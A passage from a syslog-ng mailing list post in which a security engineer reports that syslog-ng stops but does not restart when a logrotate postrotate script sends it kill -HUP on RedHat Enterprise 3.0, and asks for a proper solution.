sharedscripts postrotate /bin/kill -HUP `cat /var/run/syslog-ng.pid 2> /dev/null` 2> = /dev/null || true endscript } The syslog-ng daemon never restarts when you type "kill -HUP = " I tried also "kill -SIGUP ..." same result (the daemon is stopped but = never restarts...). Did someone ever encountered this problem ? Is there any "proper" solution ? I'm currently workin under RedHat Enterprise v3.0 Thanks in advance to answer my question. Regards. St=E9phane OMNES Security Engineer ************************************************************ The contents of this email and any attachments are confidential. They = are intended for the named recipient(s) only. If you have received this email in error please notify the system = manager or the sender immediately and do not disclose the contents to = anyone or make copies. * email scanned for viruses, vandals and malicious content * ************************************************************ _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu = https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html